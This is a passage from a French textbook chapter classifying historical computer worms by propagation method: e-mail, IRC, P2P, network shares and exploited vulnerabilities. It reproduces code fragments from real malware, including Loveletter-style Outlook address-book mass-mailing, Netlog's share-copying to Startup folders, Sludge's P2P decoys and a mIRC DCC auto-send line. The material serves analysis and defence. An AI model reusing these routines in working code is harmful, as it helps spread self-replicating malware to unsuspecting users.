Forte Agent – Usenet

W97M/PolyPoster.A@MM

b

(

Lord Natas

/

CodeBreakers

)

b. Tocheva Katrin,. 2001,

Worming the Internet – Part 1

, Virus Bulletin. Octobre 2001. pp 14-15.

08/98

Outlook Express

W97M/AntiMarc@MM

(

Lord Natas

/

CodeBreakers

)09/98

PAGET_Ch06 Page 195 Lundi, 11. avril 2005 5:24 17

196 Chapitre 6. Les vers

SendKeys "{ENTER}", -1SendKeys "{TAB}", -1SendKeys "J97Z/nagvZNEP ol Ybeq Angnf [Pbqroernxref 98]", -1SendKeys "%S", -1

CreateObject

Avec les systèmes d’exploitation Windows, la fonction

CreateObject

permet à deuxapplications distinctes de communiquer entre elles. Disponible avec VBS et VBA,elle renouvela, en 1998, la création d’infecteurs multi plateformes.

Alors que

O97M/Shiver

utilise l’échange dynamique de données

1

entre Word97et Excel97,

O97M/Tristate

s’appuie sur le mécanisme normalisé COM

2

.

Manipulant les objets Active-X,

CreateObject

permit la commutation triangu-laire pour les trois applications MS Word97, Excel97 et Powerpoint97. En voici leprincipe :

Set WordObj = GetObject(, "Word.Application") If WordObj = "" Then Set WordObj = CreateObject("Word.Application") WQuit = True End If

[…] Set PPObj = CreateObject("PowerPoint.Application")

[…] Set xlApp = CreateObject("Excel.Application")

W97M/ColdApe.A

fut découvert à la même époque (novembre 1998). Ce fut lepremier virus établissant une interconnexion entre langage VBS et VBA

3

. Ce futaussi le premier virus utilisant la fonction

CreateObject

pour émettre un courrierélectronique. Il ne s’agissait pas encore d’un mass-mailer ; le virus créait un fichierVBS utilisé ensuite pour l’envoi de courrier indésirable à une adresse précise (cellede Nick FitzGerald alors éditeur du Virus Bulletin). En voilà un apercu de laméthode :

Set IPSocket = CreateObject("MSWinsock.Winsock")IPADDY = IPSocket.LocalIPset BOB = CreateObject("Wscript.Network")[…]Set theApp = WScript.CreateObject("Outlook.Application")Set theNameSpace = theApp.GetNameSpace("MAPI")theNameSpace.Logon "profile", "password"Set theMailItem = theApp.CreateItem(0)theMailItem.Recipients.Add EMADDYtheMailItem.Subject = BOB.UsernametheMailItem.Body = MSGBDYtheMailItem.SendtheNameSpace.Logoff

1. DDE –

Dynamic Data Exchange.

2. COM –

Component Object Model

.3. Tocheva Katrin,. 2001,

Worming the Internet – Part 1

, Virus Bulletin. Octobre 2001. pp 14-15.

PAGET_Ch06 Page 196 Lundi, 11. avril 2005 5:24 17

197

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

6.2 Classification

La fonction

CreateObject

fut pour la première fois utilisée à des fins de mass-mailer avec le virus

W97M/Nail@MM

. Plusieurs techniques furent ensuite mises aupoint.

MAPI&AddressLists

Avec le virus

Nail

, la méthode utilisée était

MAPI&AddressLists

. L’auteur souhaitaitainsi s’affranchir de l’outil de messagerie et être à même d’envoyer des courriels pourpeu que le client soit compatible avec le protocole MAPI

1

:

Set MAPISess = CreateObject("MAPI.Session")MAPISess.Logon[…] For Each AdrEntry In MAPISess.AddressLists(1).AddressEntries Set Recp = objRecipients.Add(Name:=AdrEntry.Address, Type:=3) GInfo = GInfo + AdrEntry.Address + ";" Next[…]MAPISess.Logoff

Ce virus était également particulier quant à son mode de propagation. Le codeVBA était disponible au travers d’un modèle de fichier présent sur un site Web par-ticulier

(sourceofkaos.com)

.Il était référencé comme modèle distant au sein desfichiers locaux infectés. Le but recherché était peut être la diffusion de mises à joursou de variantes de ce code.

Outlook&AddressLists

La méthode précédente fut peu employée et l’appel direct à Outlook devint vite lamanière la plus répandue d’envoyer des mails. Ce fut la technique employée par lesvirus tels que

Melissa, Loveletter

et

Homepage

. Elle fut non seulement copiée etadaptée de nombreuses fois, mais également disponible au travers de générateurs devirus tels que ceux de la famille

VBSWG

. La procédure suivante est issue de lavariante A de

VBS/Loveletter@MM

:

• Création d’un objet "Outlook.Application" destiné à contrôler Outlook :

set out=WScript.CreateObject("Outlook.Application")

MÉTHODE CIBLE EXEMPLE DE VIRUS DATE

CreateObject ("MAPI.Session") & .AddressLists

W97M/Nail.A@MM

03/99

("Outlook.application") & .GetDefaultFolder

W97M/Mimir.A@MM

05/99

("Outlook.application") & .AddressLists

W97M/Melissa.A@MMX97M/Papa.B@MM

03/9904/99

PDF

VBS/Peachy@MM

08/01

1. MAPI –

Mail Application Programming Interface

.

PAGET_Ch06 Page 197 Lundi, 11. avril 2005 5:24 17

198 Chapitre 6. Les vers

• Recherche des destinataires dans le carnet d’adresse :

set mapi=out.GetNameSpace("MAPI")for ctrlists=1 to mapi.AddressLists.Countset a=mapi.AddressLists(ctrlists)malead=a.AddressEntries(x)

• Création d’un nouveau message :

set male=out.CreateItem(0)

• Puis, pour chaque destinataire :

male.Recipients.Add(malead)

• Ajout de la pièce jointe :

male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

• Envoie du courrier :

- male.Send

Quelques virus associèrent à cette méthode des scénarios surprenants. Citonscomme premier exemple,

VBS/Vierika

. Il arrivait par e-mail sous la forme d’unepetite pièce jointe de 333 octets. Elle ne contenait pas le code viral mais un lien versune page Web ou celui ci était encapsulé (

http://www.geocities.com/msxxl/Vindex2.html

). Le virus déclarait cette page comme page de démarrage par défautpuis modifiait la base de registres afin de diminuer le niveau de sécurité d’InternetExplorer. Ce double changement de paramètres permettait l’exécution en local ducode viral distant dès l’ouverture d’Internet Explorer.

De son coté,

VBS/Loding

n’expédiait aucune pièce jointe. Le message contenaitun lien Internet que le destinataire était invité à aller découvrir. Si celui ci possédaitInternet Explorer 4 configuré avec le niveau de sécurité par défaut (c’est-à-dire

Moyen

) et s’il décidait de double-cliquer sur le lien, le code du virus, combinaison de

JavaScript

et de

Visual Basic Script

s’exécutait. Il s’agissait ici de la vulnérabilitéMS00-075

1

. Elle entraînait la réexpédition du mail à l’ensemble des contacts listésdans le carnet d’adresse

Outlook&GetDefaultFolderGetDefaultFolder

est une autre méthode associée à la fonction CreateObject. Elle estpeu commune mais fut utilisée avec succès pour les virus W97M/Mimir et W97M/Lucia. Avec Mimir, elle se décline de la manière suivante :

• Création d’un objet "Outlook.Application" destiné à contrôler Outlook :

Set MAkeNewEmail = CreateObject("outlook.application")

• Création d’un nouveau message :

Set NEwEmail = MAkeNewEmail.CreateItem(olMailItem)

1. MS00-075 – Microsoft VM ActiveX Component.

PAGET_Ch06 Page 198 Lundi, 11. avril 2005 5:24 17

199©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it6.2 Classification

• Recherche des destinataires dans le carnet d’adresse :

Set mimirnamespace = MAkeNewEmail.GetNamespace("MAPI")SetObjectContactfolder= mimirnamespace.GetDefaultFolder(olFolderContacts)

• Puis, pour chaque destinataire :

For Each ObjectContact In ObjectContactfolder.ItemsTheEmailAdress = ObjectContact.Email1Address

• Ajout de la pièce jointe :

.Attachments.Add Word.ActiveDocument.FullName

• Envoie du courier :

.Send

W97M/Lucia pratique de la même manière, cependant, les destinataires ne sontpas recherchés dans l’onglet contact d’Outlook mais dans l’onglet Sentmail :

Set A = CreateObject("Outlook.Application")Set U = A.GetNamespace("MAPI"): Set M = U.GetDefaultFolder(5)For I = 1 To M.Items.Count

Méthode PDFDécouvert en août 2001, VBS/Peachy@MM démontre que la plate-forme AdobePDF1 peut être affectée par un virus.

Il s’agit en fait d’un simple virus en VBScript qui utilise la méthode CreateObjectpour ouvrir Outlook. Mais dans ce cas, le fichier VBS est encapsulé dans un fichierPDF qui est attaché au corps du message en temps que pièce jointe. Le ver s’active sicelle-ci est ouverte dans la mesure ou une version complète d’Adobe Acrobat est ins-tallée sur la machine. Cette dernière condition étant rarement remplie, le ver n’estqu’une preuve par l’exemple qui est bien souvent incapable de se propager.

Méthode Pegasus

Peu de virus se propagent au travers de l’application Pegasus.

Outre l’exécutable compilé HLLP.Toadie@MM, citons pour le langage interprétéW97M/Jim@MM et W97M/Moridin@MM. Le second est en fait une version corrigée

1. PDF – Portable Document Format.

MÉTHODE CIBLE EXEMPLE DE VIRUS DATE

Par ajout dans les fichiers *.pmw Pegasus W97M/Moridin@MM(Asmodeus IKX)

08/98

PAGET_Ch06 Page 199 Lundi, 11. avril 2005 5:24 17

200 Chapitre 6. Les vers

du premier qui n’implémentait pas correctement le champ du destinataire et le lais-sait à blanc.

Les 2 macro-virus utilisent donc la même méthode. Une fois le répertoire del’application détecté, ils recherchent dans son arborescence les fichiers prêts à êtreenvoyés (.pmw). Utilisant les informations décrivant le destinataire et le sujet dumail, ils ajoutent les champs nécessaires pour l’envoi complémentaire du corps dumessage et du document infecté actif en pièce jointe.

Pegasus:[…]With Application.FileSearch .FileName = "\*.pmw" .LookIn = pega_dir .SearchSubFolders = True .MatchTextExactly = True .FileType = msoFileTypeAllFiles .Execute pega_mail = .FoundFiles(Cos(Atn(CInt(1))))End With[…]Open pega_mail For Input As #1Line Input #1, mail_1Line Input #1, mail_2Line Input #1, mail_3Line Input #1, mail_4Line Input #1, mail_5Close #1If mail_2 = "SY:0" Then GoTo no_mailfile_Ready:random_1 = Second(Now)Open pega_dir & "\mail\" & random_1 * random_1 & ".pmw" For Append As #3Print #3, mail_1Print #3, "SY:0"Print #3, mail_4Print #3, mail_5 & " :-)"Print #3, "CC:"Print #3, "EN:0"Print #3, "CS:0"Print #3, "RC:0"Print #3, "DC:0"Print #3, "UR:0"Print #3, "SS:0"Print #3, "SG:0"Print #3, "MI:1"Print #3, "ID:<Default>"Print #3, "EX:0"Print #3, "AT:" & active_doc; ",Binary,1"Print #3, "RT: 1"Print #3, "FL:0"Print #3, ""Print #3, random_messageClose #3

PAGET_Ch06 Page 200 Lundi, 11. avril 2005 5:24 17

201©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it6.2 Classification

Vers du réseau

Le langage interprété a également été parfois utilisé pour la mise aux points de verss’infiltrant au travers des réseaux locaux ou poste à poste.

Citons comme exemples :

• VBS/GWV1. Il date de mai 2000 et s’attaque au réseau Gnutella, concurrent deNapster. Il modifie le fichier Gnutella.ini en y ajoutant l’extension .vbs dans laliste des extensions admises. Cela permet ensuite le transfert de ce nouveautype de fichiers :

’ Behavior Control ParametersDim NewFilenames, GnutellaPath, GnutellaIni, VictimFilenameNewFilenames = Array(ProgramName & ".vbs", "Jenna Jameson movie listing.vbs", "Pamela Anderson movie listing.vbs", "Asia Carerra movie listing.vbs", "xxx FTP movie listing.vbs", "ASF Compressor (No quality loss).vbs", "collegesex.vbs", "Gladiator.vbs"[…]GnutellaPath = "C:\Program Files\gnutella\"GnutellaIni = GnutellaPath + "gnutella.ini"VictimFilename = "Yet another GWV! " ’ (Gnutella Worm Victim :)

• VBS/Netlog. Utilisant des combinaisons de nombres aléatoires, il génère desséries d’adresses IP et tente de découvrir un disque distant contenant un réper-toire Windows. Il se copie alors dans celui ci ainsi que dans le répertoire dedémarrage en espérant être ainsi exécuté lors d’un redémarrage de lamachine :

…dodo while driveconnected = "0"checkaddress()shareformat()wshnetwork.mapnetworkdrive "z:", sharenameenumdrives()loopcopyfiles()disconnectdrive()loop…

MÉTHODE CIBLE EXEMPLE DE VIRUS DATE

Autorisation d’extension Poste à Poste (Gnutella) VBS/GWV 03/00

Création de leurres à doubleextension

Poste à Poste (Kazaa) VBS/Sludge.worm(SlageHammer)

0203

Fonction « copyfile » Disques partagés locauxou globaux

VBS/Netlog 03/03

1. GWV – Gnutella Worm Victim.

PAGET_Ch06 Page 201 Lundi, 11. avril 2005 5:24 17

202 Chapitre 6. Les vers

function copyfiles()set fso = createobject("scripting.filesystemobject")fso.copyfile "c:\windows\startm~1\programs\startup\mscfg.vbs", "z:\windows\startm~1\programs\startup\"fso.copyfile "c:\windows\startm~1\programs\startup\mscfg.exe", "z:\windows\startm~1\programs\startup\"fso.copyfile "c:\windows\startm~1\programs\startup\msstar~1.exe", "z:\windows\startm~1\programs\startup\"end function…function shareformat()sharename = "\\" & octa & dot & octb & dot & octc & dot & octd & "\C"end function…

• VBS/Sludge. Proposé au téléchargement, le virus attend d’être rapatrié sur lamachine de sa future victime. En local, un double-clic sur le fichier entraîne lacréation de fichiers leurres dans les répertoires partagés :

files = array("10 naked teens.jpg","15yteenfuck.jpg","Ad-Aware6.tar","illegalsex.jpg","kievgirl.jpg","Young russian teens.jpg","Bin Laden’s Home.doc","Kamasutra2003.doc","Bush is crazy(and stupid).doc","How To Rip DVDs.txt","Eminem – I am your father.mp3","Anton – Schwul oder was.mp3")kl = (Pgdir & "\kazaa lite\my shared folder") & "\"if fso.folderexists(kl) then for x=0 to 11 fso.copyfile Ikarus,kl & files(x) & ".vbs" nextend ifkazaa = (Pgdir & "\kazaa\my shared folder") & "\"if fso.folderexists(kazaa) then for x=0 to 11 fso.copyfile Ikarus,kl & files(x) & ".vbs" nextend ifbearshare = (Pgdir & "\bearshare\shared") & "\"if fso.folderexists(bearshare) then for x=0 to 11 fso.copyfile Ikarus,kl & files(x) & ".vbs" nextend ifedonkey = (Pgdir & "\edonkey2000\incoming") & "\"if fso.folderexists(edonkey) then for x=0 to 11 fso.copyfile Ikarus,kl & files(x) & ".vbs" nextend ifmorpheus = (Pgdir & "\morpheus\my shared folder") & "\"if fso.folderexists(morpheus) then for x=0 to 11 fso.copyfile Ikarus,kl & files(x) & ".vbs" nextend ifrem Ikarus by SlageHammer

PAGET_Ch06 Page 202 Lundi, 11. avril 2005 5:24 17

203©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it6.2 Classification

Vers IRC

Ils se propagent au travers des canaux IRC1 en remplaçant généralement le fichierd’initialisation du client script.ini.

mIRC (prononciation murk) et Pirch sont les 2 applications IRC les plus tou-chées.

Les vers sont conçus pour se propager d’un coup vers l’ensemble des internautesqui sont, à un instant donné, connecté sur le canal. Exécutés en réception sur unemachine cible :

• Ils localisent le répertoire de l’application IRC.• Ils modifient ou écrasent les fichiers script.ini (mIRC) ou events.ini (Pirch)

avec leurs propres codes.

Dans un second temps :

• Ils interceptent généralement les commandes /JOIN pour rejoindre un salonet /DCC SEND pour se réexpédier.

• Ils poursuivent leur propagation lorsque le destinataire (nick) double-clic, àson tour, sur la pièce reçue.

Dans les versions mIRC inférieures à V5.3, il est ainsi possible d’écraser discrète-ment le fichier script.ini original par une version infectée. Tout comme les script.ini,les nombreuses variantes du virus Dmsetup.EXE se propagent par DCC Send eninfectant entre autre le fichier mirc.ini.

On retrouve généralement, une commande du type :

N1=on 1 :join :# : { if ( nick == $me ) halt else .dcc send $nick C:\Virus.EXE }

6.2.2 Langage compilé

On distingue 5 sous-familles de vers :

• Sans sophistication et issus de l’assembleur. Ils utilisent toutes sortes deméthodes à l’exclusion des composants COM d’Outlook. Ils sont générale-

1. IRC – Internet Relay Chats.

MÉTHODE CIBLE EXEMPLE DE VIRUS DATE

SCRIPT.INI/DCC SEND

IRC IRC/Acoragil 12/97

IRC/Theme.worm 09/01

MIRC.INI/DCC SEND

IRC Dmsetup.worm 08/98

PAGET_Ch06 Page 203 Lundi, 11. avril 2005 5:24 17

204 Chapitre 6. Les vers

ment des preuves par l’exemple. L’auteur cherche à démontrer son savoir-faire, par exemple :– W32/Fix@M.– W32/Ska@M.

• Sophistiqués et issus de l’assembleur. Ils utilisent des techniques de camou-flage avancé (polymorphie, point d’entrée obscur) et sont parfois des infec-teurs de fichiers (EXE ou Wsock32.DLL). Ils utilisent généralement leurpropre moteur SMTP, par exemples :– W32/MTX@M, avec OEP,– W32/Hybris@MM, avec plug-ins1,– W32/Magistr@MM, avec OEP, polymorphique, anti-heuristique, anti-

debugging, utilise son propre serveur SMTP.

• Issus d’un compilateur C (Borland, Microsoft C, ou plus fréquemment Micro-soft Visual C5 ou 6). Le code compilé est dans la première section, lesdonnées et constantes sont généralement non-cryptés et dans une sectionséparée. Ils font appels aux API Windows, aux librairies, à MSVCRT.DLL.Les composants COM d’Outlook sont rarement mis en œuvre.– W32/Bymer.worm.

• Issus d’un compilateur Delphi. Le code compilé et les constantes sont enpremière section. Les constantes sont visibles (pas de cryptage) mais disper-sées dans le code. La propagation se fait via SMTP ou MAPI.– W32/Blebla@MM.– W32/ExploreZIP@MM.

• Issus d’un compilateur Visual Basic. Ils utilisent, pour la plupart, les compo-sants COM d’Outlook. Le code exécutable compilé et les constantes sont enpremière section.– W32/Mylife@MM.

• D’autres s’attaquent à MSN Messenger, par exemple :– W32/Choke.worm.– W32/Newpic.worm.

6.2.3 Méthodes de réplication

Vers SMTP (Internet Simple Mail Transfer Protocol)

Le ver construit l’intégralité du courrier électronique avec sa pièce jointe. Il véhi-cule son propre client e-mail et utilise directement le protocole SMTP.

1. NIKISHIN, Andy (janvier 2001), Harnessing Hybris, Virus Bulletin, janvier 2001, pp6-7.

PAGET_Ch06 Page 204 Lundi, 11. avril 2005 5:24 17

205©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it6.2 Classification

Pour fonctionner convenablement, il peut devoir reprendre certains paramètresliés à l’outil de messagerie présent sur la machine. Il peut aussi être autonome et s’enaffranchir complètement. L’émission se fait donc :

En utilisant les paramètres liés au serveur SMTP affecté à la machine. Ils peuventêtre, par exemple, recherchés au travers de clés de registre telle que :

HKCU\Software\Microsoft\Internet Account Manager\Accounts\<Nombre>\SMTP ServerHKCU\Software\Microsoft\Internet Account Manager\Accounts\<Nombre>\SMTP Email AddressHKCU\Software\Microsoft\Internet Account Manager\Accounts\<Nombre>\SMTP Display Name

Ou de manière totalement indépendante. Les indications utiles à la transmission(adresse de l’expéditeur, serveurs SMTP…) sont véhiculées par le virus.

Citons comme exemple, W32/Sircam@MM. Il a besoin des données SMTP de lamachine cible mais transporte avec lui les paramètres de son émetteur immédiat. Ilpeut réutiliser les informations liées à cet antécédent en cas de besoin.

Les vers de messagerie à forte propagation (suffixe @MM) entrent souvent danscette catégorie. Nimda et Klez sont totalement indépendants du paramétrage SMTPde la machine. Ils se connectent directement au serveur distant qu’ils projettentd’utiliser.

Notons également que :

• Des fragments de messages sont souvent contenus dans le code.• Tels W32/Nimda@MM, certains vers utilisent des exploits MIME afin de

s’activer sur une simple prévisualisation sous Outlook ou Outlook Express.• Les adresses des destinataires sont recherchées via la MAPI de Microsoft ou

dans des fichiers préalablement repérés par leurs extensions (*.wab, *.pst,*.nab, *.html) ou via des pointeurs lus dans la base de registres :

HKLM\Software\Microsoft\WAB\WAB4\Wab File NameHKLM\Software\Netscape\Netscape Navigator\UsersHKLM\Software\Microsoft\Outlook Express\5.0

• L’adresse et le nom de l’expéditeur peuvent être falsifiés. Dans ce cas, l’adressevisible pour le destinataire n’est pas celle de l’émetteur réel. Cette techniqued’usurpation d’adresse (ou spoofing) est très fréquente.

• L’ouverture d’une connexion (un socket) est souvent réalisée parWsock32.DLL ; quelquefois par WININET.DLL. Les programmes écrit enVisual Basic utilisent MSWINSCK.OCX. Le courrier est envoyé via descommandes SMTP souvent visibles dans le corps du ver :

HELO, MAIL FROM, RCPT TO, SEND

PAGET_Ch06 Page 205 Lundi, 11. avril 2005 5:24 17

206 Chapitre 6. Les vers

Dans cette famille, il existe une sous classe qualifiée d’infecteurs Winsocks. Ilsinfectent des fichiers tels que Wsock32.DLL ou WS2_32.DLL. Ne pouvant immé-diatement le modifier, les virus dupliquent la DLL. Ils patchent leur code dans cettecopie pour y intercepter ou remplacer la fonction send.

Au démarrage suivant de la machine, le fichier modifié vient remplacer l’originalet le virus peut commencer son travail. Il analyse dynamiquement le trafic, inter-cepte les données transmises et les utilise pour l’émission d’un élément infecté. Ilenvoie généralement son propre message aux adresses pour lesquelles la victimeémet un courriel. Dans ce cas, le message original de l’utilisateur est immédiatementsuivi d’un second message, propre au virus.

Citons dans cette catégorie : W32/Ska@M, W32/MTX@M, W32/Android@M,W32/Suppl@M et W32/Babylonia@M. Ce sont tous des infecteurs lents (suffixe @M).Alors que Ska utilise Uuencoding, MTX insère sa pièce jointe selon la méthodeMIME-encoding1.

De son coté, Babylonia ne crée pas son propre message mais s’attache directementà tout mail légitime émis.

Vers MAPI (Microsoft Mail Application Interface)

Ils utilisent MAPI32.DLL. Les commandes MAPI2 servent d’interface vers leserveur SMTP. Le vers contient des commandes du type :

MAPILogonMAPIFindNext

1. MIME Encoding : Multipurpose Internet Mail Extensions Encoding.

MÉTHODE CIBLE EXEMPLE DE VIRUS DATE

SMTP Autonome : utilise son propreclient e-mail

W32/Sircam@MMa

a. FERRIE Peter et SZOR Peter (2001), SirCamstantial Evidence, Virus Bulletin, septembre2001. pp 8-10.

07/01

W32/Magistr@MMb

b. FERRIE Peter (2001), Magisterium Abraxas, Virus Bulletin, Mai 2001. pp 6-7.

03/01

API Winsocks W32/Parvo@MMc

(Griyo/29A)

c. SZOR Peter, 1999b, Parvo – One Sick Puppy?, Virus Bulletin. Janvier 1999. pp 7-9.

12/98

W32/PrettyPack@MM 06/99

Fichiers Winsocks W32/Ska@M(Spanska)

01/99

W32/MTX@Md

d. FITZGERALD, Nick (2000), MTX-treme, Virus Bulletin, novembre 2000. pp 6-7.

09/00

2. MAPI : Messaging Application Programming Interface.

PAGET_Ch06 Page 206 Lundi, 11. avril 2005 5:24 17

207©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it6.2 Classification

MAPIReadMailMAPISendMail

Vers OUTLOOK

Ils utilisent les composants COM1 d’Outlook et sont pour la plupart écrit en VisualBasic.

Implanteurs de Script VBS

Ces vers transportent avec eux des scripts VBS qu’ils implantent et exécutent sur lamachine à infecter. C’est le mode de propagation le plus simple pour un virus nonécrit en Visual Basic.

Le script implanté contient le code lié à la propagation (IRC, messagerie, etc.).La pièce jointe est constituée par l’exécutable.

Vers IRC

Ils se propagent selon la méthode décrite plus haut (langage interprété).

On retrouve généralement, non crypté dans le code du ver, la commande dutype :

N1=on 1 :join :# : { if ( nick == $me ) halt else .dcc send $nick C:\Virus.EXE }

MÉTHODE CIBLE EXEMPLE DE VIRUS DATE

Commandes MAPI Outlook W32/Navidad@M 11/00

1. COM : Component Object Model.

MÉTHODE CIBLE EXEMPLE DE VIRUS DATE

Composants COM Outlook W32/Mylife@MM 08/99

MÉTHODE CIBLE EXEMPLE DE VIRUS DATE

Implanteur de VBS Diverses : celles de virusen langage interprété

W32/Urbe@MM 07/03

MÉTHODE CIBLE EXEMPLE DE VIRUS DATE

/JOIN/DCC SEND

IRC W95/Fono(Vecna/29A)

08/98

PAGET_Ch06 Page 207 Lundi, 11. avril 2005 5:24 17

208 Chapitre 6. Les vers

Vers du réseau

Les plus anciens se copient d’eux même sur les disques partagés, nous les avons décritsuccinctement au chapitre 3. Les plus primitifs étaient les vers de disquettes.

D’autres aujourd’hui se propagent au travers des réseaux poste à poste ous’implantent automatiquement par l’exploitation de vulnérabilités connues et nonpatchées. Ces derniers ciblent les stations Windows, les serveurs WEB du type IIS1

ou SQL.

Poste à posteW32/Gnuman.worm apparaît en 2001. Il cible Gnutella déjà touché, un an plus tôt,par VBS/GWV.

Le virus se connecte au réseau comme un super node. Il est conçu pour gérer lesdemandes de fichiers et y répondre en réutilisant le nom réclamé auquel il adjointl’extension .exe. Le virus a une faiblesse, le fait de chercher à répondre à l’ensembledes requêtes sature la machine qui l’accueille ; il n’est alors plus à même d’assurerefficacement les envois.

Cette caractéristique ne permit pas la propagation escomptée par son auteur.

1. IIS : Microsoft Internet Information Server.

MÉTHODE CIBLE EXEMPLE DE VIRUS DATE

Copie de disqueà disque

Toutes stations Windows W32/Hayque.worm 02/02

Gestion des demandes de fichiers

Poste à poste W32/Gnuman.worm(alias Mandragore, Gspot)

02/01

Ver automatique[MS03-026]

Stations Windows non patchées

W32/Blaster.worm 08/03

Ver automatique[MS03-007]

Stations Windows non patchées

W32/Nachi.worma (alias Welchia)

a. FERRIE Peter, PERRIOT Frédéric & SZOR Peter (octobre 2003), Worm Wars, Virus Bulletin,octobre 2003. pp 10-13.

08/03

Ver automatique[MS01-033]

Serveurs IIS non patchés W32/Codered.worm 07/01

Ver automatique[MS00-078]

Serveurs IIS non patchés W32/Nimda@MM 09/01

Ver automatique[MS02-039]

Microsoft SQL Server 2000Microsoft Desktop Engine(MSDE) 2000 non patchés

W32/SQLSlammer.worm 01/03

Ver automatique[MS04-011]

Windows XPWindows 2000

W32/Sasser.wormb

b. FERRIE Peter, PERRIOT Frédéric (octobre 2004), Mostly Harmless, Virus Bulletin, août2004. pp 5-8.

04/04

PAGET_Ch06 Page 208 Lundi, 11. avril 2005 5:24 17

209©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it6.2 Classification

Vers automatiquesL’attaque se fait en 2 temps, généralement au travers de l’exploitation d’une vulné-rabilité connue :

• Depuis une machine infectée, le ver recherche un système vulnérable. Lors-que celui ci est repéré, le ver envoie un paquet spécifique mal formé vers leport lié à la vulnérabilité (exemple : port 445 pour le ver Sasser). L’exploita-tion de la vulnérabilité entraîne l’exécution d’une routine particulière trans-mise dans le paquet.

• Cette routine initie le processus de rapatriement et d’auto exécution du codeviral. Dans le cas de Sasser, elle autorise l’exécution de commandes arbitrairesdistantes au travers d’un autre port : le port 9996/TCP. La transmission se faitgénéralement de manière conventionnelle, via FTP. Le script qui gère leprocessus se termine par une instruction qui charge le ver en mémoire. Ilparticipe alors à son tour à la recherche de nouvelles cibles potentielles.

L’introduction du code se fait généralement selon la technique du débordementde tampon (en anglais, buffer overflow). Elle consiste à mettre en mémoire plusd’informations que celle ci n’est habilitée à en recevoir. Un système non vulnérablerefusera le code en dépassement de limite. Sur un système vulnérable il y aura écra-sement d’informations dans des zones contiguës qui sont normalement inaccessibles.En conséquence de ce recouvrement, il deviendra possible de faire exécuter un pro-gramme arbitraire avec des droits administrateurs.

Le but est donc d’écraser une partie précise de la pile. Un simple saut (jump, call)astucieusement positionné pourra ensuite permettre l’exécution du script malicieuxégalement contenu dans le paquet transmis.

Instant Messenger

À la différence des canaux IRC, la messagerie instantanée est dédiée à la communi-cation privée. Quelques virus ont été développés pour cette cible.

Citons à titre d’exemple Choke ou Newpic. Ils s’installent en résidant par le biaisd’une clé de registre particulière qui les chargent en mémoire à chaque démarrage dela machine. Lorsqu’un message entrant est détecté, le virus y répond de lui même. Letexte qui accompagne la pièce jointe est censé persuader le destinataire du bienfondé à cliquer dessus.

MÉTHODE CIBLE EXEMPLE DE VIRUS DATE

AOL 4.0 APStrojan.qa@MM 01/00

MSN Messenger W32/Choke.worm

W32/Floodnet@MM 05/02

MSN Messenger v6.0 W32/Smibag.worma

a. REYES J.J & WONG Reginald (décembre 2003), It’s in the (smi)bag!, Virus Bulletin. Décem-bre 2003. pp 4-6.

09/03

PAGET_Ch06 Page 209 Lundi, 11. avril 2005 5:24 17

210 Chapitre 6. Les vers

Autres

Méthode Pegasus

Avec HLLP.Toadie@MM, la méthode consiste à remplacer le contenu des cour-riers sortant par le message viral. La pièce jointe infectée est attachée au message etle texte, joint au fichier, remplace celui préparé par l’émetteur.

Méthodes EudoraDeux méthodes de propagation ont jusqu’ici été exploitées.

La première consiste à créer de toute pièce un fichier message. W32/Sysclock uti-lise cette formule :

• Recherche du répertoire d’installation.• Collecte des adresses dans le fichier Out.mbx.• Création du courriel infecté (User.msg), ajout des adresses collectées, mise en

forme du sujet et du corps du message, attachement de la pièce jointe(c:\pkzip.exe).

• Exécution de la commande Eudora sendmail.

La seconde méthode fut utilisée par W16/Redteam :

• Collecte des alias des contacts du carnet d’adresse (il s’agissait alors du fichierNndbase.toc).

• Ajout du message dans le fichier Out.mbx.• Modification de la table des expéditions Out.toc.

NNTPIls utilisent les groupes de discussion pour se propager. Citons comme exemplecertaines variantes de W32/Duksten@MM et W32/Torvil@MM.

MÉTHODE CIBLE EXEMPLE DE VIRUS DATE

Remplacement des messa-ges en attente d’envoi

PEGASUS MAIL V3.x HLLT.Toadie.7800a@MM 08/99

MÉTHODE CIBLE EXEMPLE DE VIRUS DATE

Création & exécution de .MSG EUDORA MAIL W32/Sysclock@MM 07/99

Via OUT.MBX & OUT.TOC EUDORA MAIL W16/RedTeam@MMa

(The Soul Manager)

a. GORDON Sarah, PERRIOT Frédéric, 1998, Caught Red-handed, Virus Bulletin. May 1998.pp 6-8.

01/98

PAGET_Ch06 Page 210 Lundi, 11. avril 2005 5:24 17

7

Macro-viruset virus de script

Ce chapitre n’abordera que les virus au sens strict du terme, les vers en langage inter-prété ont été développés au chapitre précédent.

Les macro virus constituèrent un temps la principale menace et furent en tête desdivers TOP-10 mondiaux. En France, on estimait qu’une machine sur 12 avait subitune attaque virale en 1997. À cette époque, 80 à 90 % de ces attaques étaient dues àdes macro virus. Aujourd’hui, les macros virus ont quasiment disparus. La mise enplace de protections efficaces au sein d’

Office

et la facilité des modes de détectiongénériques et heuristiques sont sans doute à l’origine de cette désaffection.

Ces virus n’ont, de plus, qu’un faible intérêt technique. Ces diverses raisons nousamènent à n’aborder ici que quelques grandes lignes. Ce chapitre sera le plus courtde ce livre.

7.1 MACRO-VIRUS

Les macro-virus cherchent à infecter les documents créés par les logiciels de bureau-tique les plus répandus. Ces documents que l’on pouvait, il y a 10 ans, considérercomme de simples fichiers texte contiennent maintenant des listes d’instructions –ou macros – qui peuvent prendre un caractère malveillant.

Les premiers macro-virus ont ciblé l’outil bureautique de

Microsoft

le plusrépandu à l’époque :

WORD-6 et WORD-7 (WORD-95)

. Ils étaient alors écrits en

WORDBASIC (WB)

.

Les versions suivantes d’

Office

ont adoptés le

Visual Basic for Application

(VBA).C’est avec ce langage que les virus ont ensuite été écrits.

PAGET_Ch07 Page 211 Lundi, 11. avril 2005 5:24 17

212 Chapitre 7. Macro-virus et virus de script

WORD

et

EXCEL

ont toujours été privilégiés par les auteurs de virus. Des virusexistent cependant sous

ACCESS

et

POWERPOINT

. Tous ces virus furent un tempsrecensés dans une liste intitulée

Macro Virus List

